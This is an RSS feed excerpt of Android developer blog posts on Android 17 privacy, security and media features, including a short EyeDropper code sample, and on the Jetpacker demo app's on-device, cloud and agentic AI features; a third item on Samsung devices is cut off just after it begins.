<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
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<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



